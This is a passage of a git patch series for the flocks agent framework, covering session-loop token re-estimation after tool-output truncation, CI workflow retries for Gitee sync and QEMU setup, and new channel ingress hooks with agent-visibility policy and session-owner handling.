_estimate_effective_tokens() + tokens_dict = { + "input": effective_tokens, + "output": 0, + "cache": {"read": 0, "write": 0}, + } + log.info("loop.tokens_decision", { + "session_id": ctx.session.id, + "source": decision_source, + "effective_tokens": effective_tokens, + "observed_tokens": reported_total, + "estimated_component_tokens": estimated_component_tokens, + "message_count": len(messages), + "overflow_threshold": compaction_policy.overflow_threshold, + }) try: _tok_cache = tokens_dict.get("cache") or {} @@ -1789,6 +1827,13 @@ async def progress_callback(stage: str, data: dict) -> None: if near_overflow and ctx.last_cleanup_step != ctx.step: try: + message_tokens_before_cleanup = ( + await SessionPrompt.estimate_full_context_tokens( + ctx.session.id, + messages, + policy=compaction_policy, + ) + ) trunc_count = await SessionCompaction.truncate_oversized_tool_outputs( ctx.session.id, context_window_tokens=model_context, @@ -1816,19 +1861,45 @@ async def progress_callback(stage: str, data: dict) -> None: "input_tokens": current_input_tokens, "cooldown_active": recent_compaction, }) - turn_state = set_turn_state( - ctx.session.id, - step=ctx.step, - status="continued", - continue_reason="pre_compact_cleanup", - queued_message_detected=False, + message_tokens_after_cleanup = ( + await SessionPrompt.estimate_full_context_tokens( + ctx.session.id, + messages, + policy=compaction_policy, + ) + ) + baseline_offset_tokens = max( + 0, + effective_tokens - message_tokens_before_cleanup, ) - await cls._publish_runtime_event( - callbacks, - "turn.continued", - turn_state.model_dump(by_alias=True), + effective_tokens = ( + message_tokens_after_cleanup + baseline_offset_tokens ) - continue + tokens_dict["input"] = effective_tokens + current_input_tokens = effective_tokens + log.info("loop.pre_compact_cleanup_rechecked", { + "session_id": ctx.session.id, + "effective_tokens": effective_tokens, + "message_tokens": message_tokens_after_cleanup, + "baseline_offset_tokens": baseline_offset_tokens, + "overflow_threshold": ( + compaction_policy.overflow_threshold + ), + }) + if effective_tokens <= compaction_policy.overflow_threshold: + turn_state = set_turn_state( + ctx.session.id, + step=ctx.step, + status="continued", + continue_reason="pre_compact_cleanup", + queued_message_detected=False, + ) + await cls._publish_runtime_event( + callbacks, + "turn.continued", + turn_state.model_dump(by_alias=True), + ) + continue except Exception as trunc_err: log.warn("loop.pre_compact_cleanup_error", { "session_id": ctx.session.id, @@ -1937,6 +2008,13 @@ async def progress_callback(stage: str, data: dict) -> None: if not ctx.tool_result_truncation_attempted: ctx.tool_result_truncation_attempted = True try: + message_tokens_before_cleanup = ( + await SessionPrompt.estimate_full_context_tokens( + ctx.session.id, + messages, + policy=compaction_policy, + ) + ) trunc_count = await SessionCompaction.truncate_oversized_tool_outputs( ctx.session.id, context_window_tokens=model_context, @@ -1947,15 +2025,26 @@ async def progress_callback(stage: str, data: dict) -> None: "truncated": trunc_count, }) # Re-check overflow after truncation - # (B3) Reuse the active v2 policy so the - # re-estimate includes the same overhead - # + safety margin as the first decision. - re_est = await SessionPrompt.estimate_full_context_tokens( - ctx.session.id, - messages, - policy=compaction_policy, + message_tokens_after_cleanup = ( + await SessionPrompt.estimate_full_context_tokens( + ctx.session.id, + messages, + policy=compaction_policy, + ) + ) + baseline_offset_tokens = max( + 0, + effective_tokens - message_tokens_before_cleanup, + ) + re_est = ( + message_tokens_after_cleanup + + baseline_offset_tokens ) - re_tokens = {"input": re_est, "output": 0, "cache": {"read": 0, "write": 0}} + re_tokens = { + "input": re_est, + "output": 0, + "cache": {"read": 0, "write": 0}, + } still_overflow = await SessionCompaction.is_overflow( tokens=re_tokens, model_context=model_context, diff --git a/tests/session/test_prompt_tokens.py b/tests/session/test_prompt_tokens.py index cf130cc66..d92b04a76 100644 --- a/tests/session/test_prompt_tokens.py +++ b/tests/session/test_prompt_tokens.py @@ -490,3 +490,56 @@ async def _ignored_parts(message_id, session_id): # noqa: ARG001 ) assert result == 0 + + +class TestEstimateToolResultTokens: + @pytest.mark.asyncio + async def test_counts_only_results_added_after_model_call( + self, + monkeypatch: pytest.MonkeyPatch, + ): + from flocks.session import message as message_mod + + parts = [ + SimpleNamespace( + type="tool", + state=SimpleNamespace( + status="completed", + input={"query": "i" * 400}, + output="o" * 400, + time={}, + ), + ), + SimpleNamespace( + type="tool", + state=SimpleNamespace( + status="completed", + input={}, + output="ignored after compaction", + time={"compacted": 1}, + ), + ), + SimpleNamespace( + type="tool", + state=SimpleNamespace(status="error", error="boom", time={}), + ), + SimpleNamespace( + type="tool", + state=SimpleNamespace(status="running", time={}), + ), + SimpleNamespace(type="text", text="not a tool result"), + ] + + async def _parts(message_id, session_id): # noqa: ARG001 + return parts + + monkeypatch.setattr(message_mod.Message, "parts", staticmethod(_parts)) + + result = await SessionPrompt.estimate_tool_result_tokens("ses_x", "msg_x") + + assert result == ( + SessionPrompt.count_tokens("o" * 400) + + 10 + + SessionPrompt.count_tokens("Error: boom") + + SessionPrompt.count_tokens("Error: Tool execution was interrupted") + ) diff --git a/tests/session/test_session_abort_inject.py b/tests/session/test_session_abort_inject.py index e690ea944..fd72c0855 100644 --- a/tests/session/test_session_abort_inject.py +++ b/tests/session/test_session_abort_inject.py @@ -16,6 +16,7 @@ from flocks.session.message import ToolPart, ToolStateCompleted from flocks.session.goal import GoalDecision +from flocks.session.prompt import SessionPrompt from flocks.session.session_loop import SessionLoop, LoopCallbacks, LoopContext, LoopResult from flocks.session.runner import SessionRunner, StepResult from flocks.session.session import SessionInfo @@ -707,7 +708,7 @@ async def test_pre_compact_cleanup_emits_turn_continued_before_next_iteration(se AsyncMock(return_value=1), ), patch( "flocks.session.session_loop.SessionPrompt.estimate_full_context_tokens", - AsyncMock(return_value=0), + AsyncMock(side_effect=[0, 50_000, 0, 0]), ), patch( "flocks.session.runner.SessionRunner._process_step", AsyncMock(return_value=StepResult(action="stop")), @@ -727,6 +728,100 @@ async def test_pre_compact_cleanup_emits_turn_continued_before_next_iteration(se assert cleanup_turn["continue_reason"] == "pre_compact_cleanup" assert cleanup_turn["status"] == "continued" + @pytest.mark.asyncio + async def test_post_observation_tool_delta_combines_with_observed_prompt(self): + session = SimpleNamespace( + id="turn_stale_usage_session", + agent="rex", + directory="/tmp", + memory_enabled=False, + ) + ctx = LoopContext( + session=session, + provider_id="test-provider", + model_id="test-model", + agent_name="rex", + ) + messages = [ + self._make_msg("stale_usage_user", "user"), + self._make_msg( + "stale_usage_assistant", + "assistant", + finish="tool-calls", + tokens={"input": 95_000, "output": 0, "cache": {"read": 0, "write": 0}}, + ), + ] + messages[0].content = "h" * 260_000 + ctx.session_ctx = SimpleNamespace(get_messages=AsyncMock(return_value=messages)) + tool_parts = [ + ToolPart( + sessionID=session.id, + messageID="stale_usage_assistant", + callID=f"call_delta_{index}", + tool="bash", + state=ToolStateCompleted( + input={"command": f"produce output {index}"}, + output="x" * 80_000, + title="bash", + metadata={}, + time={"start": index, "end": index + 1}, + ), + ) + for index in range(2) + ] + run_compaction = AsyncMock(return_value="stop") + parts_by_message = {"stale_usage_assistant": []} + truncation_calls = 0 + + async def truncate_one_tool_result(*args, **kwargs): # noqa: ARG001 + nonlocal truncation_calls + truncation_calls += 1 + if truncation_calls == 1: + tool_parts[0].state.time["compacted"] = 1 + return 1 + return 0 + + with patch( + "flocks.session.session_loop.Provider.resolve_model_info", + return_value=(128_000, 8_192, None), + ), patch( + "flocks.session.session_loop.Message.parts", + AsyncMock( + side_effect=lambda message_id, _session_id: ( + list(parts_by_message.get(message_id, [])) + ), + ), + ), patch( + "flocks.session.session_loop.SessionCompaction.truncate_oversized_tool_outputs", + AsyncMock(side_effect=truncate_one_tool_result), + ), patch( + "flocks.session.session_loop.SessionCompaction.prune", + AsyncMock(), + ), patch( + "flocks.session.session_loop.run_compaction", + run_compaction, + ), patch( + "flocks.session.runner.SessionRunner._process_step", + AsyncMock(return_value=StepResult(action="stop")), + ): + estimated_tokens = await SessionPrompt.estimate_full_context_tokens( + session.id, + messages, + ) + parts_by_message["stale_usage_assistant"] = tool_parts + result = await SessionLoop._run_loop(ctx, LoopCallbacks()) + current_message_tokens = await SessionPrompt.estimate_full_context_tokens( + session.id, + messages, + ) + + assert estimated_tokens < int(128_000 * 0.85) + assert current_message_tokens < int(128_000 * 0.85) + assert result.action == "stop" + run_compaction.assert_awaited_once() + assert truncation_calls == 2 + assert ctx.last_observed_prompt_tokens == 95_000 + @pytest.mark.asyncio async def test_run_loop_skips_exit_condition_when_assistant_has_tool_parts(self): session = SimpleNamespace( From f7bda7bbceacc78bcad1157ecb7227ffd3fe78a8 Mon Sep 17 00:00:00 2001 From: stephamie7 <1223696150@qq.com> Date: Wed, 12 Aug 2026 11:50:17 +0800 Subject: [PATCH 41/67] fix: add manual Gitee release retry --- .github/workflows/sync-gitee.yml | 56 ++++++++++++++++++++++++++++---- 1 file changed, 49 insertions(+), 7 deletions(-) diff --git a/.github/workflows/sync-gitee.yml b/.github/workflows/sync-gitee.yml index cf87ad393..d9e7e942d 100644 --- a/.github/workflows/sync-gitee.yml +++ b/.github/workflows/sync-gitee.yml @@ -1,14 +1,22 @@ name: Sync GitHub Release to Gitee +run-name: Sync ${{ github.event.release.tag_name || inputs.release_tag }} to Gitee + on: release: types: [published] + workflow_dispatch: + inputs: + release_tag: + description: GitHub Release tag to retry, for example v2026.8.4 + required: true + type: string permissions: contents: read concurrency: - group: sync-gitee-release-${{ github.event.release.tag_name }} + group: sync-gitee-release-${{ github.event.release.tag_name || inputs.release_tag }} cancel-in-progress: false env: @@ -24,18 +32,18 @@ jobs: - name: Check out the published GitHub tag uses: actions/checkout@v6 with: - ref: ${{ github.event.release.tag_name }} + ref: ${{ github.event.release.tag_name || inputs.release_tag }} fetch-depth: 0 - name: Resolve the exact GitHub tag commit id: source env: - TAG_NAME: ${{ github.event.release.tag_name }} + TAG_NAME: ${{ github.event.release.tag_name || inputs.release_tag }} run: | set -euo pipefail if [[ -z "${TAG_NAME}" ]]; then - echo "::error title=Missing release tag::The release event does not contain a tag name." + echo "::error title=Missing release tag::No tag name was provided by the release event or manual input." exit 1 fi @@ -49,6 +57,39 @@ jobs: echo "github_tag_sha=${github_tag_sha}" >> "${GITHUB_OUTPUT}" echo "Resolved GitHub ${TAG_NAME} to ${github_tag_sha}." + - name: Resolve the published GitHub Release + env: + GH_TOKEN: ${{ github.token }} + TAG_NAME: ${{ steps.source.outputs.tag_name }} + run: | + set -euo pipefail + + encoded_tag="$(jq -rn --arg value "${TAG_NAME}" '$value | @uri')" + release_metadata="${RUNNER_TEMP}/github-release.json" + + gh api \ + --method GET \ + --header "Accept: application/vnd.github+json" \ + --header "X-GitHub-Api-Version: 2022-11-28" \ + "repos/${GITHUB_REPOSITORY}/releases/tags/${encoded_tag}" \ + > "${release_metadata}" + + resolved_tag="$(jq -er '.tag_name' "${release_metadata}")" + is_draft="$(jq -er '.draft' "${release_metadata}")" + published_at="$(jq -r '.published_at // empty' "${release_metadata}")" + + if [[ "${resolved_tag}" != "${TAG_NAME}" ]]; then + echo "::error title=Unexpected GitHub Release tag::GitHub returned ${resolved_tag}, expected ${TAG_NAME}." + exit 1 + fi + + if [[ "${is_draft}" == "true" || -z "${published_at}" ]]; then + echo "::error title=GitHub Release is not published::${TAG_NAME} must be published before it can be synchronized to Gitee." + exit 1 + fi + + echo "Resolved published GitHub Release ${TAG_NAME}." + - name: Sync the exact GitHub tag to Gitee env: GITEE_TOKEN: ${{ secrets.GITEE_TOKEN }} @@ -167,9 +208,10 @@ jobs: run: | set -euo pipefail - release_name="$(jq -r '.release.name // empty' "${GITHUB_EVENT_PATH}")" - release_body="$(jq -r '.release.body // empty' "${GITHUB_EVENT_PATH}")" - prerelease="$(jq -r '.release.prerelease // false' "${GITHUB_EVENT_PATH}")" + release_metadata="${RUNNER_TEMP}/github-release.json" + release_name="$(jq -r '.name // empty' "${release_metadata}")" + release_body="$(jq -r '.body // empty' "${release_metadata}")" + prerelease="$(jq -r '.prerelease // false' "${release_metadata}")" [[ -n "${release_name}" ]] || release_name="${TAG_NAME}" [[ -n "${release_body}" ]] || release_body="-" From 3ea1ce43a73b2acc7c4cade6fa00110eef90eb46 Mon Sep 17 00:00:00 2001 From: stephamie7 <1223696150@qq.com> Date: Wed, 12 Aug 2026 11:53:01 +0800 Subject: [PATCH 42/67] fix(ci): retry QEMU setup on pull timeout --- .github/workflows/docker-publish.yml | 26 +++++++++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index be3c8016e..4c2d35245 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -22,7 +22,31 @@ jobs: echo "owner_lc=${GITHUB_REPOSITORY_OWNER,,}" >> "$GITHUB_OUTPUT" echo "release_tag=${{ github.event.release.tag_name }}" >> "$GITHUB_OUTPUT" - - name: Set up QEMU + - name: Set up QEMU (attempt 1) + id: qemu_attempt_1 + continue-on-error: true + uses: docker/setup-qemu-action@v3 + + - name: Wait before QEMU retry 2 + if: steps.qemu_attempt_1.outcome == 'failure' + run: sleep 10 + + - name: Set up QEMU (attempt 2) + id: qemu_attempt_2 + if: steps.qemu_attempt_1.outcome == 'failure' + continue-on-error: true + uses: docker/setup-qemu-action@v3 + + - name: Wait before QEMU retry 3 + if: >- + steps.qemu_attempt_1.outcome == 'failure' && + steps.qemu_attempt_2.outcome == 'failure' + run: sleep 30 + + - name: Set up QEMU (attempt 3) + if: >- + steps.qemu_attempt_1.outcome == 'failure' && + steps.qemu_attempt_2.outcome == 'failure' uses: docker/setup-qemu-action@v3 - name: Setup Docker Buildx From 00f79f29ab90ec5ded9e1235b007929887c79569 Mon Sep 17 00:00:00 2001 From: chenjie Date: Wed, 29 Jul 2026 13:30:47 +0800 Subject: [PATCH 43/67] feat: converge session execution policy controls Integrate neutral execution hooks, policy metadata, and security boundaries while preserving existing session lifecycle, channel, workflow, and configuration behavior. Co-authored-by: Cursor --- flocks/channel/base.py | 14 + flocks/channel/builtin/feishu/channel.py | 32 + flocks/channel/gateway/manager.py | 16 +- flocks/channel/inbound/dispatcher.py | 111 +- flocks/channel/inbound/session_binding.py | 92 +- flocks/cli/main.py | 5 +- flocks/config/config.py | 17 + flocks/config/config_writer.py | 9 + flocks/hooks/execution.py | 351 +++++ flocks/hooks/pipeline.py | 174 ++- flocks/identity/__init__.py | 23 + flocks/identity/entry.py | 90 ++ flocks/identity/subject.py | 46 + flocks/ingest/kafka/manager.py | 33 +- flocks/ingest/syslog/manager.py | 33 +- flocks/permission/__init__.py | 781 +---------- flocks/permission/interactive.py | 20 + flocks/permission/next.py | 108 +- flocks/plugin/loader.py | 295 +++-- flocks/pty/pty.py | 136 +- flocks/sandbox/__init__.py | 7 +- flocks/sandbox/runtime_status.py | 31 +- flocks/sandbox/tool_policy.py | 127 +- flocks/server/app.py | 29 +- flocks/server/auth.py | 51 +- flocks/server/routes/action_lifecycle.py | 137 ++ flocks/server/routes/agent.py | 3 +- flocks/server/routes/channel.py | 31 +- flocks/server/routes/config.py | 81 +- flocks/server/routes/mcp.py | 44 +- flocks/server/routes/pty.py | 85 +- flocks/server/routes/session.py | 112 +- flocks/server/routes/skill.py | 3 +- flocks/server/routes/tool.py | 7 +- flocks/server/routes/workflow.py | 55 +- flocks/session/callable_schema.py | 43 + flocks/session/execution_profile.py | 152 +++ flocks/session/interaction_queue.py | 7 + flocks/session/runner.py | 176 +-- flocks/session/session.py | 17 + flocks/session/streaming/stream_processor.py | 23 +- flocks/session/tool_execution.py | 45 + flocks/task/executor.py | 14 + flocks/tool/agent/delegate_task.py | 80 +- flocks/tool/code/bash.py | 6 - flocks/tool/registry.py | 32 +- flocks/tool/security/ssh_host_cmd.py | 702 ++-------- flocks/tool/security/ssh_run_script.py | 367 ++---- flocks/tool/security/ssh_utils.py | 42 +- flocks/tool/system/tool_search.py | 27 +- flocks/tool/task/run_workflow.py | 29 +- flocks/workflow/poller_manager.py | 2 +- flocks/workflow/service_runtime.py | 101 +- flocks/workflow/tool_context.py | 61 +- flocks/workflow/tools_adapter.py | 25 +- flocks/workflow/triggers/runtime.py | 40 + scripts/install.sh | 1 - tests/channel/test_channel.py | 204 +++ tests/channel/test_feishu.py | 24 + tests/channel/test_unified_prompt_context.py | 11 +- .../test_command_execution_hook_contract.py | 142 ++ .../test_extension_execution_contract.py | 1167 +++++++++++++++++ tests/identity/test_subject_context.py | 19 + tests/integration/integration_ssh_ai247.py | 367 +----- tests/integration/test_ssh_host_cmd.py | 498 ++----- tests/integration/test_ssh_run_script.py | 348 +---- tests/permission/test_interactive.py | 52 + tests/permission/test_permission_next.py | 87 +- tests/plugin/test_plugin.py | 131 ++ tests/pty/test_pty_security.py | 42 +- tests/sandbox/test_sandbox.py | 99 +- .../test_sandbox_runtime_integration.py | 34 +- tests/server/routes/test_action_lifecycle.py | 22 + .../routes/test_channel_security_lifecycle.py | 88 ++ tests/server/routes/test_pty_routes.py | 148 ++- tests/server/routes/test_remaining_routes.py | 66 + tests/server/routes/test_session_routes.py | 63 + .../server/routes/test_workflow_run_route.py | 25 + tests/server/test_auth_compat.py | 3 +- .../test_capability_projection_hook.py | 138 ++ tests/session/test_runner_shell_hook.py | 83 ++ tests/test_pro_boundary.py | 50 + tests/tool/test_child_session_hook.py | 68 + tests/tool/test_tool_search_discovery.py | 29 - tests/workflow/test_poller_manager.py | 111 +- .../workflow/test_workflow_service_runtime.py | 109 ++ tests/workflow/test_workflow_tool_context.py | 19 + webui/src/api/flocksproPolicy.ts | 21 + webui/src/api/flocksproSecurity.ts | 40 + webui/src/api/index.ts | 1 + webui/src/api/permission.test.ts | 38 + webui/src/api/permission.ts | 32 + .../common/PermissionApprovalDialog.test.tsx | 52 + .../common/PermissionApprovalDialog.tsx | 90 ++ webui/src/locales/en-US/channel.json | 16 + webui/src/locales/en-US/flockspro.json | 45 + webui/src/locales/en-US/nav.json | 1 + webui/src/locales/zh-CN/channel.json | 16 + webui/src/locales/zh-CN/flockspro.json | 45 + webui/src/locales/zh-CN/nav.json | 1 + webui/src/pages/AuditLogs/index.tsx | 5 +- webui/src/pages/Channel/index.tsx | 291 +++- webui/src/pages/SecurityConfig/index.tsx | 309 +++++ webui/src/pages/Settings/index.test.tsx | 20 +- webui/src/pages/Settings/index.tsx | 8 +- webui/tsconfig.json | 2 - 106 files changed, 6792 insertions(+), 3669 deletions(-) create mode 100644 flocks/hooks/execution.py create mode 100644 flocks/identity/__init__.py create mode 100644 flocks/identity/entry.py create mode 100644 flocks/identity/subject.py create mode 100644 flocks/permission/interactive.py create mode 100644 flocks/server/routes/action_lifecycle.py create mode 100644 flocks/session/execution_profile.py create mode 100644 flocks/session/tool_execution.py create mode 100644 tests/hooks/test_command_execution_hook_contract.py create mode 100644 tests/hooks/test_extension_execution_contract.py create mode 100644 tests/identity/test_subject_context.py create mode 100644 tests/permission/test_interactive.py create mode 100644 tests/server/routes/test_action_lifecycle.py create mode 100644 tests/server/routes/test_channel_security_lifecycle.py create mode 100644 tests/session/test_capability_projection_hook.py create mode 100644 tests/session/test_runner_shell_hook.py create mode 100644 tests/test_pro_boundary.py create mode 100644 tests/tool/test_child_session_hook.py create mode 100644 webui/src/api/flocksproPolicy.ts create mode 100644 webui/src/api/flocksproSecurity.ts create mode 100644 webui/src/api/permission.test.ts create mode 100644 webui/src/api/permission.ts create mode 100644 webui/src/components/common/PermissionApprovalDialog.test.tsx create mode 100644 webui/src/components/common/PermissionApprovalDialog.tsx create mode 100644 webui/src/pages/SecurityConfig/index.tsx diff --git a/flocks/channel/base.py b/flocks/channel/base.py index ffd79dc4e..e19138a99 100644 --- a/flocks/channel/base.py +++ b/flocks/channel/base.py @@ -243,6 +243,20 @@ async def handle_webhook( f"Channel '{self.meta().id}' does not support webhook mode" ) + async def webhook_authentication_evidence( + self, + body: bytes, + headers: dict[str, Any], + ) -> dict[str, Any]: + """Return opaque verification evidence before a public webhook effect. + + The default reports no verification. Flocks does not decide whether + this evidence is sufficient; extensions may apply their own policy at + the generic Channel webhook lifecycle boundary. + """ + del body, headers + return {"plugin_authenticated": False} + async def stop(self) -> None: """Stop listening and release resources.""" diff --git a/flocks/channel/builtin/feishu/channel.py b/flocks/channel/builtin/feishu/channel.py index 1db994a06..b79a9ce1b 100644 --- a/flocks/channel/builtin/feishu/channel.py +++ b/flocks/channel/builtin/feishu/channel.py @@ -220,6 +220,38 @@ async def _ensure_webhook_dedup_ready(self, account_id: str, dedup) -> None: if task is None or task.done(): self._webhook_dedup_flush_tasks[account_id] = await dedup.start_background_flush() + async def webhook_authentication_evidence( + self, + body: bytes, + headers: dict, + ) -> dict: + """Expose Feishu's existing verification result as neutral evidence.""" + from flocks.channel.builtin.feishu.config import ( + resolve_webhook_account_config, + verify_webhook_timestamp, + ) + + try: + data = json.loads(body) + except (TypeError, ValueError): + return {"plugin_authenticated": False, "provider": "feishu"} + if not isinstance(data, dict) or not verify_webhook_timestamp(headers): + return {"plugin_authenticated": False, "provider": "feishu"} + resolved = resolve_webhook_account_config( + self._config, + body=body, + headers=headers, + data=data, + ) + if not resolved: + return {"plugin_authenticated": False, "provider": "feishu"} + return { + "plugin_authenticated": True, + "provider": "feishu", + # The concrete handler owns and applies event-id/nonce dedup. + "replay_protection": "plugin_dedup", + } + async def handle_webhook(self, body: bytes, headers: dict) -> Optional[dict]: from flocks.channel.builtin.feishu.config import ( build_webhook_replay_key, diff --git a/flocks/channel/gateway/manager.py b/flocks/channel/gateway/manager.py index fa1eed803..91c146a88 100644 --- a/flocks/channel/gateway/manager.py +++ b/flocks/channel/gateway/manager.py @@ -14,6 +14,7 @@ from flocks.channel.base import ChannelPlugin, ChannelStatus, NonRetryableChannelError from flocks.channel.inbound.dispatcher import InboundDispatcher +from flocks.identity import mint_channel_ingress_provenance from flocks.channel.registry import ChannelRegistry, default_registry from flocks.utils.log import Log @@ -344,10 +345,21 @@ def _make_on_message( plugin: ChannelPlugin, dispatch: Callable, ) -> Callable: - """Wrap *dispatch* so that each inbound message records a timestamp.""" + """Mint neutral provenance before forwarding a gateway message.""" async def _on_message(msg) -> None: plugin.record_message() - await dispatch(msg) + await dispatch( + msg, + provenance=mint_channel_ingress_provenance( + channel_id=msg.channel_id, + account_id=msg.account_id, + message_id=msg.message_id, + sender_id=msg.sender_id, + chat_type=msg.chat_type.value, + message=msg, + evidence=msg.raw, + ), + ) return _on_message def record_message(self, channel_id: str) -> None: diff --git a/flocks/channel/inbound/dispatcher.py b/flocks/channel/inbound/dispatcher.py index 910020e0d..ff0301ae7 100644 --- a/flocks/channel/inbound/dispatcher.py +++ b/flocks/channel/inbound/dispatcher.py @@ -22,6 +22,7 @@ is_channel_media_placeholder, ) from flocks.config.config import ChannelConfig +from flocks.identity import ChannelIngressProvenance from flocks.utils.log import Log log = Log.create(service="channel.dispatcher") @@ -274,6 +275,18 @@ def is_stale(self) -> bool: _channel_config_cache: dict[str, _CachedConfig] = {} + +def invalidate_channel_config_cache(channel_id: str | None = None) -> None: + """Invalidate cached channel config entries. + + Args: + channel_id: When provided, drop only this channel. Otherwise clear all. + """ + if channel_id is None: + _channel_config_cache.clear() + return + _channel_config_cache.pop(str(channel_id), None) + _SESSION_LOCK_MAX = 5000 @@ -293,7 +306,45 @@ def __init__(self) -> None: self._session_locks: OrderedDict[str, asyncio.Lock] = OrderedDict() self._group_context: OrderedDict[str, deque[_GroupContextEntry]] = OrderedDict() - async def dispatch(self, msg: InboundMessage) -> None: + async def dispatch( + self, + msg: InboundMessage, + *, + provenance: ChannelIngressProvenance | None = None, + ) -> None: + from flocks.hooks.execution import execute_with_hooks + from flocks.hooks.pipeline import HookPipeline + # Resolve config before ingress hooks so channel_policy uses persisted + # role/agent settings even on cold start (empty in-memory cache). + channel_config = await self._get_channel_config( + msg.channel_id, + force_refresh=True, + ) + channel_policy = _build_channel_policy_context(channel_config) + + return await execute_with_hooks( + { + "operation": "channel.dispatch", + "transport": "channel", + "channel_id": msg.channel_id, + "account_id": msg.account_id, + "message_id": msg.message_id, + "sender_id": msg.sender_id, + "chat_id": msg.chat_id, + "chat_type": msg.chat_type.value, + "message": msg, + "text": msg.text, + "evidence": msg.raw, + "provenance": provenance, + "channel_policy": channel_policy, + }, + lambda: self._dispatch(msg), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) + + async def _dispatch(self, msg: InboundMessage) -> None: + # 1. dedup if self.dedup.is_duplicate(msg.message_id): log.debug("dispatcher.dedup", {"message_id": msg.message_id}) @@ -342,6 +393,7 @@ async def dispatch(self, msg: InboundMessage) -> None: # ``rex`` only via ``Agent.get(name) or Agent.get("rex")``, hiding the # real default and making behaviour diverge between WebUI and channel. default_agent = channel_config.default_agent + visible_agents = _resolve_visible_agents(channel_config) scope_override = None if msg.channel_id == "feishu" and msg.chat_type == ChatType.GROUP: scope_override, feishu_agent = _resolve_feishu_group_overrides( @@ -358,10 +410,13 @@ async def dispatch(self, msg: InboundMessage) -> None: "error": str(exc), }) default_agent = "rex" + if visible_agents and default_agent not in visible_agents: + default_agent = visible_agents[0] binding = await self.binding_service.resolve_or_create( msg, default_agent=default_agent, + visible_agents=visible_agents, scope_override=scope_override, directory=channel_config.workspace_dir, ) @@ -898,6 +953,34 @@ async def _handle_session_command( **Session.inherited_model_kwargs(session), **owner_kwargs, ) + try: + from flocks.hooks.pipeline import HookPipeline + from flocks.session.execution_profile import ( + get_session_execution_profile, + upsert_session_execution_profile, + ) + + await upsert_session_execution_profile( + new_session.id, + patch={ + "entry": "channel", + "channel_id": msg.channel_id, + "account_id": msg.account_id, + "default_agent": str(new_session.agent or "").strip(), + }, + source="channel.command.new_session", + ) + profile = await get_session_execution_profile(new_session.id) + await HookPipeline.run_action_before( + { + "operation": "session.mode.initialize", + "session_id": new_session.id, + "entry": "channel", + "session_execution_profile": profile or {}, + } + ) + except Exception: + pass new_binding = await self.binding_service.rebind( msg, new_session.id, @@ -1029,9 +1112,13 @@ async def _trigger_command_hook(action: str, session_id: str, context: dict[str, }) @staticmethod - async def _get_channel_config(channel_id: str) -> ChannelConfig: + async def _get_channel_config( + channel_id: str, + *, + force_refresh: bool = False, + ) -> ChannelConfig: cached = _channel_config_cache.get(channel_id) - if cached and not cached.is_stale(): + if cached and not cached.is_stale() and not force_refresh: return cached.config try: from flocks.config.config import Config @@ -1040,6 +1127,8 @@ async def _get_channel_config(channel_id: str) -> ChannelConfig: _channel_config_cache[channel_id] = _CachedConfig(ch_cfg) return ch_cfg except Exception: + if cached is not None: + return cached.config return ChannelConfig() @staticmethod @@ -1454,6 +1543,22 @@ def _resolve_feishu_group_overrides( return scope, agent +def _resolve_visible_agents(channel_config: ChannelConfig) -> list[str]: + raw = channel_config.visible_agents + if not isinstance(raw, list): + return [] + return [str(item).strip() for item in raw if str(item).strip()] + + +def _build_channel_policy_context( + channel_config: ChannelConfig, +) -> dict[str, Any]: + return { + "default_agent": str(channel_config.default_agent or "").strip(), + "visible_agents": _resolve_visible_agents(channel_config), + } + + async def _expand_merge_forward( message_id: str, channel_config: "ChannelConfig", diff --git a/flocks/channel/inbound/session_binding.py b/flocks/channel/inbound/session_binding.py index fa8840ca2..6e2d58a9d 100644 --- a/flocks/channel/inbound/session_binding.py +++ b/flocks/channel/inbound/session_binding.py @@ -94,8 +94,10 @@ async def resolve_channel_session_owner_kwargs(source_session=None) -> dict[str, Channel dispatch runs outside the HTTP auth middleware, so ``Session.create`` cannot infer the owner from ``current_auth_user``. When an existing channel session is being replaced, preserve its owner. - Otherwise, attach new channel sessions to the local admin if one exists. - Installs without local accounts use the explicit system identity. + A channel message must never be implicitly attributed to an unrelated + local administrator. Any identity-to-owner mapping belongs to a Pro + ingress extension; neutral Flocks sessions remain ownerless when no + explicit owner carrier was supplied. """ owner_user_id = getattr(source_session, "owner_user_id", None) if source_session else None owner_username = getattr(source_session, "owner_username", None) if source_session else None @@ -117,18 +119,11 @@ async def resolve_channel_session_owner_kwargs(source_session=None) -> dict[str, "owner_user_id": API_TOKEN_SERVICE_USER_ID, "owner_username": API_TOKEN_SERVICE_USER_ID, } - users = await AuthService.list_users() except Exception as exc: log.warn("channel.owner.resolve_failed", {"error": str(exc)}) return {} - admin = next((user for user in users if getattr(user, "role", None) == "admin"), None) - if admin is None: - return {} - return { - "owner_user_id": str(admin.id), - "owner_username": str(admin.username), - } + return {} # Register channel_bindings DDL with Storage so the tables are created @@ -276,6 +271,7 @@ async def resolve_or_create( self, msg: InboundMessage, default_agent: Optional[str] = None, + visible_agents: Optional[list[str]] = None, scope_override: Optional[GroupSessionScope] = None, directory: Optional[str] = None, ) -> SessionBinding: @@ -302,10 +298,55 @@ async def resolve_or_create( msg.channel_id, msg.account_id, chat_id, thread_id, ) replaced_session = None + allowed_agents = [ + str(agent).strip() + for agent in (visible_agents or []) + if str(agent).strip() + ] + allowed_agent_set = set(allowed_agents) if existing: # Archived sessions are immutable history, not live conversation # targets. Replace stale or inactive bindings before the dispatcher # persists the inbound message. + if ( + allowed_agent_set + and str(existing.agent_id or "").strip() not in allowed_agent_set + ): + # Keep the session id stable but enforce the current agent-visibility + # constraint for every inbound turn. + fallback_agent = allowed_agents[0] + now = time.time() + existing = SessionBinding( + channel_id=existing.channel_id, + account_id=existing.account_id, + chat_id=existing.chat_id, + chat_type=existing.chat_type, + thread_id=existing.thread_id, + session_id=existing.session_id, + agent_id=fallback_agent, + created_at=existing.created_at, + last_message_at=now, + ) + await self._insert(existing) + try: + from flocks.session.execution_profile import ( + upsert_session_execution_profile, + ) + + await upsert_session_execution_profile( + existing.session_id, + patch={ + "entry": "channel", + "channel_id": existing.channel_id, + "account_id": existing.account_id, + "visible_agents": allowed_agents, + "default_agent": fallback_agent, + }, + source="channel.binding.rebind", + ) + except Exception: + pass + # Verify the bound session still exists (user may have deleted it via WebUI) from flocks.session.session import Session as _Session bound_session = await _Session.get_by_id_unfiltered(existing.session_id) if 